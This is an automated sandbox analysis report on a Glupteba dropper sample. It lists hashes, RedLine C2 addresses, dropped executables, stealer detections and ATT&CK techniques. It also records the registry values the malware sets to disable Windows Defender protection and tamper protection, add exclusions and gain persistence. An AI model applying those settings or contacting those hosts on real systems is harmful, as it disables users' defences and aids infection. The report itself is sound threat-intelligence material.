glupteba | b39e29c24003441609c457a3455cae9d9fb6f4462f5e06d0c1d317d243711cb8

Target

EB7233922891E1DAD0434FBD52623647.exe
Size

7.9MB
MD5

eb7233922891e1dad0434fbd52623647
SHA1

331126b108532ab9a1e932141bff55a38656bce9
SHA256

b39e29c24003441609c457a3455cae9d9fb6f4462f5e06d0c1d317d243711cb8
SHA512

597fbb0f397c45c8a2c5f63893c6d6bd4641e952510dfcac05dadb7afaaf4e005df1261649d4e79951979bad0be1fb09feebac7a6d23c31679590cbf40e1d4ac

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

159.69.178.36:37556

Extracted

Family

redline

Botnet

213.166.68.170:16810

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4360-206-0x00000000015B0000-0x0000000001ED6000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rUNdlL32.eXerUNdlL32.eXerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3508	4788	rUNdlL32.eXe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3584	4788	rUNdlL32.eXe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4244	4788	rundll32.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5464-310-0x0000000004AC0000-0x0000000004B53000-memory.dmp	family_raccoon

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 12 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Documents\qMn_tJPqi2r4PCGE4bJHiVBA.exe	family_redline
C:\Users\Admin\Documents\4IiTX4vYv1b3qLdHmypJF56x.exe	family_redline
C:\Users\Admin\Documents\tc7tx2PYATrMO3q1RR7JDgxh.exe	family_redline
C:\Users\Admin\Documents\tc7tx2PYATrMO3q1RR7JDgxh.exe	family_redline
behavioral2/memory/2812-358-0x0000019889EF0000-0x0000019889F09000-memory.dmp	family_redline
behavioral2/memory/5776-403-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/5312-453-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/1272-452-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/1204-447-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/1436-446-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/1204-515-0x0000000005570000-0x0000000005B88000-memory.dmp	family_redline
behavioral2/memory/5312-521-0x0000000005680000-0x0000000005C98000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeufgaa.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 3700 created 4584	3700	WerFault.exe	rundll32.exe
PID 5320 created 4360	5320	WerFault.exe	Info.exe
PID 468 created 1012	468	WerFault.exe	AlCWTV1YvTp6RqX1w0rqo08a.exe
PID 1620 created 5464	1620	WerFault.exe	2o84zq2hVylVfyFnNpUXwFWj.exe
PID 4316 created 5548	4316	WerFault.exe	gQfPleKPYUO3IgUyG6oZeDBE.exe
PID 5720 created 5524	5720	ufgaa.exe	VXS2zUNs8c1vKDZu8VA8qxnQ.exe
PID 4152 created 5648	4152	WerFault.exe	HmiIeGHuclxHvR2b2VWhEtfh.exe
PID 1192 created 5996	1192	WerFault.exe	USk6VuEkJK4XsVXYU2D1C3Ec.exe
PID 5256 created 5696	5256	WerFault.exe	9HA8AUzkSkABD1aTFreqdLQL.exe
PID 5652 created 2232	5652	WerFault.exe	UnL57BIFzdiV2uzSGYBM8OE1.exe
PID 6364 created 5436	6364	WerFault.exe	chqsf1lkE_zkaAtdaYT5l3cV.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

svchost.exe

description pid process target process

PID 1216 created 4136 1216 svchost.exe AdvancedRun.exe
PID 1216 created 4136 1216 svchost.exe AdvancedRun.exe
Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disabling Security Tools
T1089

Modify Registry
T1112
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

description	pid	process	target process
PID 1216 created 4136	1216	svchost.exe	AdvancedRun.exe
PID 1216 created 4136	1216	svchost.exe	AdvancedRun.exe

evasion 6 IoCs

evasion.

evasion

Processes:

resource	yara_rule
behavioral2/memory/4360-206-0x00000000015B0000-0x0000000001ED6000-memory.dmp	evasion
C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe	evasion
C:\Users\Admin\Documents\HzWqg9gjd5UML3kuFjfEhExk.exe	evasion
C:\Users\Admin\Documents\W6aLoR23mFu4mCrl5FGlu3hP.exe	evasion
C:\Users\Admin\Documents\xupkdoyrIX37kZkiYbuCg7XQ.exe	evasion
C:\Users\Admin\Documents\pTMuLJ8Llt3ZAyIu_jKMDOT6.exe	evasion

suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 1 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/5548-331-0x0000000004A60000-0x0000000004AFD000-memory.dmp	family_vidar

Blocklisted process makes network request 1 IoCs

Processes:

MsiExec.exe

flow pid process

164 1436 MsiExec.exe
Downloads MZ/PE file

flow	pid	process
164	1436	MsiExec.exe

Executes dropped EXE 64 IoCs

Processes:

KRSetp.exeFolder.exeFolder.exeInfo.exeInstallation.exeUN3EZFKchIMnv6Dr0leoPKhx.exeHzWqg9gjd5UML3kuFjfEhExk.exeOryn26tHXTXfiJOgOUHgEWQC.exehYoeE5hFqkEuvqhTjmw8MCmM.exetc7tx2PYATrMO3q1RR7JDgxh.exechqsf1lkE_zkaAtdaYT5l3cV.exelu45MPPlSXDcE87FXpGzebNT.exelFiB_5K9hnEQX8DzFjlPBY31.exepTMuLJ8Llt3ZAyIu_jKMDOT6.exegQfPleKPYUO3IgUyG6oZeDBE.exegXEBS9ErjQRLqweha_8AC5QT.exe2o84zq2hVylVfyFnNpUXwFWj.exeqMn_tJPqi2r4PCGE4bJHiVBA.exeVXS2zUNs8c1vKDZu8VA8qxnQ.exeuGITRZ1Q5t0sp0tv9uZRib6I.exeW6aLoR23mFu4mCrl5FGlu3hP.exeWHT3zTM8vyl0pN8u26LRRztd.exe9HA8AUzkSkABD1aTFreqdLQL.exexupkdoyrIX37kZkiYbuCg7XQ.exe8fsyD3Gw2a2p5RQr7p20wmew.exeHmiIeGHuclxHvR2b2VWhEtfh.exe4IiTX4vYv1b3qLdHmypJF56x.exeAlCWTV1YvTp6RqX1w0rqo08a.exeUSk6VuEkJK4XsVXYU2D1C3Ec.execustomer3.exemd8_8eus.exeVUHljWwBSoWgPG29Im1iwYru.exejooyu.exeVUHljWwBSoWgPG29Im1iwYru.tmpUnL57BIFzdiV2uzSGYBM8OE1.exe_0_9LvHWXMJdm_i5kN35w66W.exejfiag3g_gg.exeHzWqg9gjd5UML3kuFjfEhExk.exeUSk6VuEkJK4XsVXYU2D1C3Ec.exeMsiExec.exeW6aLoR23mFu4mCrl5FGlu3hP.exepTMuLJ8Llt3ZAyIu_jKMDOT6.exexupkdoyrIX37kZkiYbuCg7XQ.exe11111.exeAdvancedRun.exe11111.exe4071221.exe11111.exe4411936.exemd9_1sjm.exe5642277.exe11111.exeufgaa.exe11111.exejfiag3g_gg.exeSetup.exerunvd.exeMediaBurner2.exeaskinstall53.exeCleaner Installation.exeVersiumresearch.exenote8876.exeU0Y0YKNIlEqdzGuVOYcdoS5u.exeGameBox.exe

pid	process
3692	KRSetp.exe
1540	Folder.exe
3472	Folder.exe
4360	Info.exe
5376	Installation.exe
4940	UN3EZFKchIMnv6Dr0leoPKhx.exe
3404	HzWqg9gjd5UML3kuFjfEhExk.exe
5276	Oryn26tHXTXfiJOgOUHgEWQC.exe
5368	hYoeE5hFqkEuvqhTjmw8MCmM.exe
5356	tc7tx2PYATrMO3q1RR7JDgxh.exe
5436	chqsf1lkE_zkaAtdaYT5l3cV.exe
5532	lu45MPPlSXDcE87FXpGzebNT.exe
5568	lFiB_5K9hnEQX8DzFjlPBY31.exe
5472	pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
5548	gQfPleKPYUO3IgUyG6oZeDBE.exe
5560	gXEBS9ErjQRLqweha_8AC5QT.exe
5464	2o84zq2hVylVfyFnNpUXwFWj.exe
3384	qMn_tJPqi2r4PCGE4bJHiVBA.exe
5524	VXS2zUNs8c1vKDZu8VA8qxnQ.exe
5040	uGITRZ1Q5t0sp0tv9uZRib6I.exe
5300	W6aLoR23mFu4mCrl5FGlu3hP.exe
5316	WHT3zTM8vyl0pN8u26LRRztd.exe
5696	9HA8AUzkSkABD1aTFreqdLQL.exe
656	xupkdoyrIX37kZkiYbuCg7XQ.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
5648	HmiIeGHuclxHvR2b2VWhEtfh.exe
548	4IiTX4vYv1b3qLdHmypJF56x.exe
1012	AlCWTV1YvTp6RqX1w0rqo08a.exe
1504	USk6VuEkJK4XsVXYU2D1C3Ec.exe
3024	customer3.exe
3080	md8_8eus.exe
3324	VUHljWwBSoWgPG29Im1iwYru.exe
4620	jooyu.exe
560	VUHljWwBSoWgPG29Im1iwYru.tmp
2232	UnL57BIFzdiV2uzSGYBM8OE1.exe
6076	_0_9LvHWXMJdm_i5kN35w66W.exe
1428	jfiag3g_gg.exe
5776	HzWqg9gjd5UML3kuFjfEhExk.exe
5996	USk6VuEkJK4XsVXYU2D1C3Ec.exe
1436	MsiExec.exe
1204	W6aLoR23mFu4mCrl5FGlu3hP.exe
5312	pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
1272	xupkdoyrIX37kZkiYbuCg7XQ.exe
5332	11111.exe
4136	AdvancedRun.exe
1692	11111.exe
6084	4071221.exe
6088	11111.exe
4116	4411936.exe
2016	md9_1sjm.exe
4944	5642277.exe
1680	11111.exe
5720	ufgaa.exe
4132	11111.exe
4196	jfiag3g_gg.exe
5900	Setup.exe
4952	runvd.exe
6048	MediaBurner2.exe
680	askinstall53.exe
5936	Cleaner Installation.exe
2200	Versiumresearch.exe
1908	note8876.exe
3036	U0Y0YKNIlEqdzGuVOYcdoS5u.exe
5924	GameBox.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect
behavioral2/memory/3080-339-0x0000000000400000-0x000000000067D000-memory.dmp	vmprotect

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

qMn_tJPqi2r4PCGE4bJHiVBA.exe4IiTX4vYv1b3qLdHmypJF56x.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	qMn_tJPqi2r4PCGE4bJHiVBA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	qMn_tJPqi2r4PCGE4bJHiVBA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4IiTX4vYv1b3qLdHmypJF56x.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4IiTX4vYv1b3qLdHmypJF56x.exe

Loads dropped DLL 6 IoCs

Processes:

rundll32.exe8fsyD3Gw2a2p5RQr7p20wmew.exeVUHljWwBSoWgPG29Im1iwYru.tmpCleaner Installation.exeMediaBurner2.tmp

pid	process
4584	rundll32.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
560	VUHljWwBSoWgPG29Im1iwYru.tmp
560	VUHljWwBSoWgPG29Im1iwYru.tmp
5936	Cleaner Installation.exe
1280	MediaBurner2.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\qMn_tJPqi2r4PCGE4bJHiVBA.exe	themida
C:\Users\Admin\Documents\4IiTX4vYv1b3qLdHmypJF56x.exe	themida

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

uGITRZ1Q5t0sp0tv9uZRib6I.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\uGITRZ1Q5t0sp0tv9uZRib6I.exe = "0"	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	uGITRZ1Q5t0sp0tv9uZRib6I.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	uGITRZ1Q5t0sp0tv9uZRib6I.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5"	msedge.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

qMn_tJPqi2r4PCGE4bJHiVBA.exe4IiTX4vYv1b3qLdHmypJF56x.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	qMn_tJPqi2r4PCGE4bJHiVBA.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4IiTX4vYv1b3qLdHmypJF56x.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

239 ipinfo.io
5 ipinfo.io
24 ip-api.com
62 ipinfo.io
137 ipinfo.io
200 ip-api.com
24 ipinfo.io
284 ipinfo.io
348 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

4IiTX4vYv1b3qLdHmypJF56x.exeqMn_tJPqi2r4PCGE4bJHiVBA.exe

pid process

548 4IiTX4vYv1b3qLdHmypJF56x.exe
3384 qMn_tJPqi2r4PCGE4bJHiVBA.exe

flow	ioc
239	ipinfo.io
5	ipinfo.io
24	ip-api.com
62	ipinfo.io
137	ipinfo.io
200	ip-api.com
24	ipinfo.io
284	ipinfo.io
348	ipinfo.io

pid	process
548	4IiTX4vYv1b3qLdHmypJF56x.exe
3384	qMn_tJPqi2r4PCGE4bJHiVBA.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

HzWqg9gjd5UML3kuFjfEhExk.exehYoeE5hFqkEuvqhTjmw8MCmM.exePING.EXEpTMuLJ8Llt3ZAyIu_jKMDOT6.exeWerFault.exechqsf1lkE_zkaAtdaYT5l3cV.exeuGITRZ1Q5t0sp0tv9uZRib6I.exe

description	pid	process	target process
PID 3404 set thread context of 5776	3404	HzWqg9gjd5UML3kuFjfEhExk.exe	HzWqg9gjd5UML3kuFjfEhExk.exe
PID 5368 set thread context of 1436	5368	hYoeE5hFqkEuvqhTjmw8MCmM.exe	MsiExec.exe
PID 5300 set thread context of 1204	5300	PING.EXE	W6aLoR23mFu4mCrl5FGlu3hP.exe
PID 5472 set thread context of 5312	5472	pTMuLJ8Llt3ZAyIu_jKMDOT6.exe	pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
PID 656 set thread context of 1272	656	WerFault.exe	xupkdoyrIX37kZkiYbuCg7XQ.exe
PID 5436 set thread context of 5720	5436	chqsf1lkE_zkaAtdaYT5l3cV.exe	ufgaa.exe
PID 5040 set thread context of 6768	5040	uGITRZ1Q5t0sp0tv9uZRib6I.exe	LogonUI.exe

Drops file in Program Files directory 15 IoCs

Processes:

Setup.exelFiB_5K9hnEQX8DzFjlPBY31.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	lFiB_5K9hnEQX8DzFjlPBY31.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	lFiB_5K9hnEQX8DzFjlPBY31.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe	Setup.exe
File created	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	lFiB_5K9hnEQX8DzFjlPBY31.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	lFiB_5K9hnEQX8DzFjlPBY31.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	lFiB_5K9hnEQX8DzFjlPBY31.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe	Setup.exe

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Program crash 32 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4512	4584	WerFault.exe	rundll32.exe
5340	4360	WerFault.exe	Info.exe
4584	1012	WerFault.exe	AlCWTV1YvTp6RqX1w0rqo08a.exe
1440	5464	WerFault.exe	2o84zq2hVylVfyFnNpUXwFWj.exe
4716	5548	WerFault.exe	gQfPleKPYUO3IgUyG6oZeDBE.exe
5568	5524	WerFault.exe	VXS2zUNs8c1vKDZu8VA8qxnQ.exe
500	5996	WerFault.exe	USk6VuEkJK4XsVXYU2D1C3Ec.exe
5428	5648	WerFault.exe	HmiIeGHuclxHvR2b2VWhEtfh.exe
1068	2232	WerFault.exe	UnL57BIFzdiV2uzSGYBM8OE1.exe
656	5696	WerFault.exe	9HA8AUzkSkABD1aTFreqdLQL.exe
6488	5436	WerFault.exe	chqsf1lkE_zkaAtdaYT5l3cV.exe
6408	4952	WerFault.exe	runvd.exe
6164	7096	WerFault.exe	rundll32.exe
7036	680	WerFault.exe	askinstall53.exe
5008	6084	WerFault.exe	4071221.exe
6552	5412	WerFault.exe	1874953.exe
2068	6716	WerFault.exe	3663783.exe
1900	6708	WerFault.exe	anyname.exe
5380	5492	WerFault.exe	askinstall52.exe
5564	240	WerFault.exe	app.exe
6924	7000	WerFault.exe	4043255.exe
3500	7280	WerFault.exe	cXjqbqDsxobbnfGNMq4eCR7G.exe
5800	1888	WerFault.exe	JKhhzunji8PQdSLHcCVEadQw.exe
7488	7288	WerFault.exe	JSmKa8DI8JMGrmjM9GDwzbiL.exe
3820	6948	WerFault.exe	SbEGxMWtazMk_llTT7tJAcmP.exe
6696	3804	WerFault.exe	9za4DXufqNccSThTAZ8Swfje.exe
7724	7324	WerFault.exe	Tw3ZWEp14X67CqKzuCUbKNGj.exe
7652	1548	WerFault.exe	ThlM6x9C9Hpsk2_XSWT_TgRR.exe
6484	5440	WerFault.exe	IyZtvv29Lz7muSLVG76Sp6ik.exe
5572	6564	WerFault.exe	rundll32.exe
6016	7256	WerFault.exe	FZa2WmJFecjCd4DIyiwISrVd.exe
440	6940	WerFault.exe	2783254.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MsiExec.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	MsiExec.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	MsiExec.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
